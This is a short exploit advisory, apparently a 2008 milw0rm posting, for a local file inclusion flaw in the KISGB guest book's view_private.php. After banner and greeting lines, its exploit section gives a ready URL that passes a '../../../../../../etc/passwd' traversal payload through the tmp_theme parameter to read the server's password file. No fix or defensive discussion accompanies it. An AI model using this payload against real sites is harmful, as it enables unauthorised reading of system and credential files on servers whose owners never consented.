KISGB <= (tmp_theme) 5.1.1 Local File Inclusion Vulnerability

[~] KISGB (Keep It Simple Guest Book) : Local FiLe Include's (tmp_theme) [~] [~] Version : All Versions [~] [~] Download : http://sourceforge.net/project/showfiles.php?group_id=38585 [~] ---------------------------------------------------------- [~] Exploit coded and founded by Cr@zy_King [~] [~] Date: 30.03.2008 [~] [~] [~] crazy_kinq@hotmail.co.uk [~] [~] ----------------------------------------------------------- [~] Greetz tO:- [~] [~] Digital-AngeLs Bug Researchers Yakinda OnLine :) Loading. [~] [~] [Peace Crew] Kerem125 - Alemin_Krali - m0sted - UyussMan [~] [~] Eno7 | Crackers_Child | Ghost61 | str0ke | [Hx] | [03xTr] | The_Bekir [~]---------------------------------------------------------------------- [~] Exploit :- [~] [~] http://site.com/view_private.php?start=252&action=edit&tmp_theme=LFI [~] [~] ../../../../../../etc/passwd [~] [~] [~]--------------------------------------------------------------------------------------------------------------- [~] " Aklın Dünya Limanına Demir Atmışsa Gemin Fırtınadan Kurtulmaz ." # milw0rm.com [2008-03-30]